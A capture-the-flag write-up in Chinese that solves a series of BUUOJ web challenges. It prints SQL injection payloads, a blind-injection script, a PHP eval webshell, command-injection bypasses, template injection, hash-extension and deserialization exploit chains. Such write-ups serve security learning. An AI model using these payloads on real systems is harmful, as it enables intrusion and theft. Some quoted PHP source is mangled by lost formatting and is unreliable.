BUUOJ 刷题记录(一)

文章目录

  • web
    • [HCTF 2018]WarmUp
    • [强网杯 2019]随便注
    • [护网杯 2018]easy_tornado
    • [SUCTF 2019]EasySQL
    • [HCTF 2018]admin
    • [RoarCTF 2019]Easy Calc
    • [强网杯 2019]高明的黑客
    • [SUCTF 2019]CheckIn
    • [极客大挑战 2019]EasySQL
    • [CISCN2019 华北赛区 Day2 Web1]Hack World
    • [极客大挑战 2019]Havefun
    • [极客大挑战 2019]Secret File
    • [网鼎杯 2018]Fakebook
    • [De1CTF 2019]SSRF Me
    • [极客大挑战 2019]PHP
    • [极客大挑战 2019]Knife
    • [RoarCTF 2019]Easy Java
    • [极客大挑战 2019]LoveSQL
    • [GXYCTF2019]Ping Ping Ping
    • [极客大挑战 2019]Http
    • [BUUCTF 2018]Online Tool
    • [极客大挑战 2019]BabySQL
    • [ZJCTF 2019]NiZhuanSiWei
    • [极客大挑战 2019]BuyFlag
    • [SUCTF 2019]Pythonginx
    • [CISCN2019 华北赛区 Day1 Web1]Dropbox
    • [CISCN2019 华北赛区 Day1 Web2]ikun
    • [SWPU2019]Web1
    • [极客大挑战 2019]Upload
    • [安洵杯 2019]easy_web
    • [ASIS 2019]Unicorn shop
    • [WesternCTF2018]shrine
    • [ACTF2020 新生赛]Include
    • [GXYCTF2019]禁止套娃
    • [CISCN 2019 初赛]Love Math
    • [GXYCTF2019]BabySQli
    • [ACTF2020 新生赛]Exec
    • [极客大挑战 2019]HardSQL
    • [GYCTF2020]Blacklist
    • [GWCTF 2019]我有一个数据库
    • [BJDCTF2020]Easy MD5
    • [ACTF2020 新生赛]BackupFile

web

[HCTF 2018]WarmUp

  • 查看源码source.php

    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

  • 查看hint.php获得flag的位置
  • 审计源码,发现类似PHPmyadmin的任意文件包含漏洞
  • 构造payload:?file=source.php%253F/../../../../ffffllllaaaagggg
  • 其中%253F?的二次url编码
  • phpmyadmin漏洞分析

[强网杯 2019]随便注

  • 输入select,回显了过滤的语句
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
  • 禁用了select,union等语句
  • ?inject=1'%23有回显
  • ?inject=1';show tables;%23回显表名
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
  • ?inject=1'; desc `1919810931114514`;%23读出表的结构,有flag列

  • 尝试用SET…PREPARE…EXECUTE读取flag

  • 构造payload:?inject=1'; SeT@sql1=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20sql2%20from%20@sql1;execute%20sql2;%23获得flag

[护网杯 2018]easy_tornado

  • 通过测试发现,查看文件时的参数是file?filename=....&filehash=.....
  • 查看hint.txt,提示:md5(cookie_secret+md5(filename))
  • 查看flag.txt,提示:flag in /fllllllllllllag
  • 所以我们就要先找到cookie_secret的值
  • 当我们提交的文件名错误是,会跳转到error?msg=Error,页面回显是Error,所以猜测参数可控,尝试一下模板注入
  • Tornado模板注入
  • 构造error?msg={{ handler.settings }},回显得到{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '3ed6ba3b-9e69-4455-ba41-bf79db2488ba'}
  • 获得cookie_secret
  • 构造读取flag的payload:file?filename=/fllllllllllllag&filehash=2bfb666063392448046dd1b18ae70b19

[SUCTF 2019]EasySQL

  • 当时比赛时做的非预期直接payload*,1就出flag了
  • 但是仔细研究一下这个题的预期解
  • 本来的考点是堆叠注入+set sql_mode=PIPES_AS_CONCAT
  • FUZZ得的题目源码应该是这样的select $_POST[query] || flag from flag
  • set sql_mode=PIPES_AS_CONCAT||作为连接符,而不是或运算即可
  • 最终payload:query=1;set sql_mode=PIPES_AS_CONCAT;select 1

[HCTF 2018]admin

  • 注册一个test用户
  • 登陆后,在change password页面里发现源码地址:https://github.com/woadsl1234/hctf_flask/
  • 查看源码,在index.html中发现flag的信息
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
  • 从源码可以知道,session[‘name’]是admin时,就可以在主界面读取flag

  • 查看config.py找到SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

  • 知道secret_key后,就可以伪造session了

  • 脚本链接

  • 构造payload获得flag

[RoarCTF 2019]Easy Calc

  • 主界面没什么信息,在源码里读到,有calc.php文件
  • 访问得到源码

error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
  • 直接输入num的话会回显403
  • 说明后台对num也有检测
  • 可以利用php的字符串解析特性:删除空白字符,将一些特殊字符转换为下划线
  • 所以在传num时在前面加一个空格即可
  • 构造读目录的payloadcalc.php?%20num=1;var_dump(scandir(chr(47)));
  • 回显中发现flag:flagg
  • 构造payload读取flag:calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

[强网杯 2019]高明的黑客

  • 源码在www.tar.gz
  • 下载后一堆垃圾文件,很多没用的木马
  • 写个脚本跑一下能用的木马(直接参考解题链接)
import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()
  • 找到文件:xk0SzyKwfzw.php,参数:Efa5BVG
  • 直接获得flag

[SUCTF 2019]CheckIn

  • 首先不能上传php文件,不能带有
  • 先上传一个.user.ini文件,因为有文件头检测,所以内容是
GIF89a                  
auto_prepend_file=shell.jpg 
auto_append_file=shell.jpg

//目的是相当于使这个文件夹下的所有php都include了shell.jpg  
//.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
  • 上传一个文件名为shell.jpg的文件,内容是
GIF89A
<script language='php'>eval($_REQUEST['rdd']);</script>
  • 上传完毕后,连接自己目录的主目录即可执行代码

[极客大挑战 2019]EasySQL

  • 直接万能密码登陆
username '='
password '='

[CISCN2019 华北赛区 Day2 Web1]Hack World

  • 点开后是一个查询界面
  • 以post的方式传入参数id查询
  • 测试得,过滤了:union,and,or,%20,/**/,#
  • 输入1/1 和 2/1分别回显1,2的内容
  • 所以猜测存在sql注入
  • 测试得:id=if(substr((select(1)),1,1)=2,1,0),可以打通
  • 于是直接构造盲注脚本跑一下flag
import requests

url = 'http://e31c281b-7d07-44ba-a403-36491807c132.node3.buuoj.cn/index.php'
result = ''
req = requests.session()
for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(x, mid)
        data = {
            "id":payload
        }
        r1 = req.post(url, data = data)
        if 'Hello' in r1.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)
print("end.......")	
print(result)

[极客大挑战 2019]Havefun

[极客大挑战 2019]Secret File

  • 前面略
  • secr3t.php里代码如下

    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
  • 构造payloadsecr3t.php?file=php://filter/convert.base64-encode/resource=flag.php获得flag

[网鼎杯 2018]Fakebook

  • 扫描得到robots.txt,内容是:/user.php.bak,扫描得到flag.php
  • 获得user.php的备份



class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
  • 博客必须是http开头的
  • 很显然的ssrf和反序列化
  • 注册一个账号,登陆后在自己的用户界面:view.php中,可以回显自己注册时输入的博客内容
  • view.php的参数为no=1,所以猜测存在sql注入
  • 构造no=1'有报错回显,所以猜测存在报错注入
  • 构造一系列payload
//表名
?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
//[*] query error! (XPATH syntax error: '~,users')

//列名
?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
//[*] query error! (XPATH syntax error: '~,no,username,passwd,data,USER,C')

//数据
?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
//[*] query error! (XPATH syntax error: '~,O:8:"UserInfo":3:{s:4:"name";s')

  • 可以推测,用户的信息是序列化保存在数据库中的,这样我们就能通过sql注入,控制我们的博客链接,使用file://协议读取flag.php的源码
  • 最终paylaod如下为:?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
  • 获得flag

[De1CTF 2019]SSRF Me

  • 打开后发现源码
  • 代码没换行。看别的师傅是查看源码就能看到正常的代码了,我的不行,有点奇怪,直接粘贴一下复原过的源码吧还是
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)
  • 设置了三个路由分别是/,/de1ta,/geneSign

  • /是获取源码

  • /de1ta是获取cookie中的action,sign,get方式获取param,结合自己的ip,实例化Task对象,返回一个json值

  • /geneSign获取action,sign调用getSign获取一个和secretmd5之后的值

  • waf函数规定不能是gopher,file开头

  • Task类的作用:action为scan时,读取内容放到sandbox里的result.txt,action为read时,读取result.txt的内容

  • 在scan时,用到的是urlopen()函数,urlopen读取本地文件的方法

直接写文件名
local_file:///etc/passwd

  • md5绕过可以使用哈希扩展攻击

  • 最后脚本—借用的赵总的博客

import hashpumpy
import requests
import urllib.parse

url = 'flag.txt'
r = requests.get('http://web68.buuoj.cn/geneSign', params={'param': url})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16)

r = requests.get('http://web68.buuoj.cn/De1ta', params={'param': url}, cookies={
    'sign': hash_sign[0],
    'action': urllib.parse.quote(hash_sign[1][len(url):])
})

print(r.text)

[极客大挑战 2019]PHP

  • php反序列化
  • 这里直接给一下payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]Knife

  • 告诉你shell了,直接连就行了

[RoarCTF 2019]Easy Java

  • 很少做java的题,还是源于自己写java太少了
  • 打开这题目是一个登录界面
  • 有个help链接,打开后回显java.io.FileNotFoundException:{help.docx}
  • javaweb的项目中都有一个WEB-INF/web.xml,于是把文件名换一下
  • 不知道到怎么回事,get请求没回显,换成post就成功下载了,xml文件内容是
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>
  • 发现了一个/Flag路由,访问一下,界面500的,但是报错界面爆出了路径com/wm/ctf/FlagController,尝试读取一下WEB-INF/classes/com/wm/ctf/FlagController.class
  • 下载下来class文件后,获取到flag的base64值

[极客大挑战 2019]LoveSQL

  • 直接万能密码'=' '='登陆
  • 参数直接get方式提交的,并且回显用户名和密码
  • 直接构造一般的sql注入脚本即可,最终payload?username=admin&password=admin' union select 1,2,group_concat(password) from l0ve1ysq1#

[GXYCTF2019]Ping Ping Ping

  • 页面上显示?ip=
  • 应该是直接命令执行
  • 构造ip=127.0.0.1||ls,可以发现flag.php
  • 读取的时候,提示不能有空格
  • Linux绕过空格的方法有多种

I F S IFS IFS
${IFS}
$IFS$1
{cat,flag.php}
%20
%09

  • 构造一下,发现还过滤了flag,*,可以用\绕过,(linux特性),也可以用 `ls`绕过

  • index.php的源码


if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

  • 读flag的payload是:?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php

[极客大挑战 2019]Http

  • 构造一系列的header就行了

[BUUCTF 2018]Online Tool

  • 题目源码


if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
  • 看到escapeshellarg()+escapeshellcmd(),想到了之前有个文章
  • 可以用'绕过,写进去一个木马' -oG hack.php ',连一下就行了

[极客大挑战 2019]BabySQL

  • 还是一个sql注入,但是提示的经过了严格的过滤,双写绕过即可
  • 最后payload:?username=admin&password=admin1'uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql#

[ZJCTF 2019]NiZhuanSiWei

  • 源码如下
  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
  • 利用data://协议可以绕过file_get_contents($text,'r')==="welcome to the zjctf",构造text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
  • 再用伪协议读出useless.php,源码如下
  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "
"
; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
  • 很显然的反序列化,点在password上,使Flag类中的file为flag.php即可
  • 最终payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[极客大挑战 2019]BuyFlag

  • 打开链接直接到pay.php,发现:FLAG NEED YOUR 100000000 MONEY

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

  • ctrlu 发现部分源码
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number
"
; }elseif ($password == 404) { echo "Password Right!
"
; } }
  • cookie中发现user=0,直接修改为1
  • 传入password,绕过is_numeric,只需要在404后面加个空格
  • 后面购买flag是要post一个money[]=a

[SUCTF 2019]Pythonginx

  • 直接给出源码了,ctrlu能复原
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
  • 这里考的是python的一个编码问题和nginx的配置文件位置
  • encode('idna')进行suctf.cc的绕过
  • nginx常用配置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

  • 构造payload读一下配置文件file://suctf.c℆sr/local/nginx/conf/nginx.conf
  • 发现flag位置
server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/fffffflag;
    # }
}
  • 直接读取就行了getUrl?url=file://suctf.c℆sr/fffffflag

[CISCN2019 华北赛区 Day1 Web1]Dropbox

  • 随便注册一个用户登陆上去
  • 可以上传图片,上传后可以下载图片,在下载处可任意文件下载,以post的方式向download.php传入文件名,可以下载文件
  • 于是尝试下载index,php
  • 发现部分php源码

session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
  • 读取其他源码
//class.php


error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
';$table.='';foreach($this->funcsas$func){$table.='';}$table.='';$table.='';foreach($this->resultsas$filename=>$result){$table.='';foreach($resultas$func=>$value){$table.='';}$table.='';$table.='';}echo$table;}}classFile{public$filename;publicfunctionopen($filename){$this->filename=$filename;if(file_exists($filename)&&!is_dir($filename)){returntrue;}else{returnfalse;}}publicfunctionname(){returnbasename($this->filename);}publicfunctionsize(){$size=filesize($this->filename);$units=array(' B',' KB',' MB',' GB',' TB');for($i=0;$size>=1024&&$i<4;$i++)$size/=1024;returnround($size,2).$units[$i];}publicfunctiondetele(){unlink($this->filename);}publicfunctionclose(){returnfile_get_contents($this->filename);}}?>
  • File中的close方法存在文件读取,可以利用这一点读取flag

  • 读取download.php


session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
  • 可以发现,filename中不允许出现flag,并且之能是open_basedir下的文件
  • delete.php的源码,发现是可以利用的

session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>
  • 我们可以通过反序列化来构造一个链子,使filename为flag
  • 分析class.php

User中的__destruct方法会执行db的close方法,并且会在对象销毁时自动执行
FileList方法中存在__call方法,在本类中没有的方法被调用的时候,会执行,由__call的代码可以知道,能执行File类的

  • 构造链子(phar的

class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $file = new File();
        $file->filename = '/flag';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); 
$phar->startBuffering();

$phar->setStub(""); 

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); 
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();
?>
  • 修改后缀为png,利用delete,读一下phar://phar.png文件就有flag了

[CISCN2019 华北赛区 Day1 Web2]ikun

  • 鸡你太美
  • 查看页面,先随便注册一个账号,登陆后
  • 在主界面发现ikun们冲鸭,一定要买到lv6!!!,但是现在界面上的没有v6的,查看第二页,发现是通过page控制的,所以爆破一下,看看lv6在第几页
import requests
url="http://a8c32cbf-6656-4958-9a5e-b1ba03c9d793.node3.buuoj.cn/shop?page="

for i in range(0,2000):

	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break
  • 在page=181发现了lv6
  • 点开后发现很贵,但是有优惠券,抓下包,发现是可以改的,于是修改discount
  • 回显只能admin访问
  • 在session中发现jwt参数,解密一下,是:{ "username": "rdd"},于是修改成admin,但是还需要有密钥,于是爆破一下:脚本(jwtcrack …)
  • 爆破出来是1Kun
  • 构造好后,在访问一下,还要成为大会员
  • 查看源码,发现/static/asd1f654e683wq/www.zip
  • 下载下来源码后审计一下(r'/b1g_m4mber', AdminHandler)
  • 在view/Admin.py中发现了pickle
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

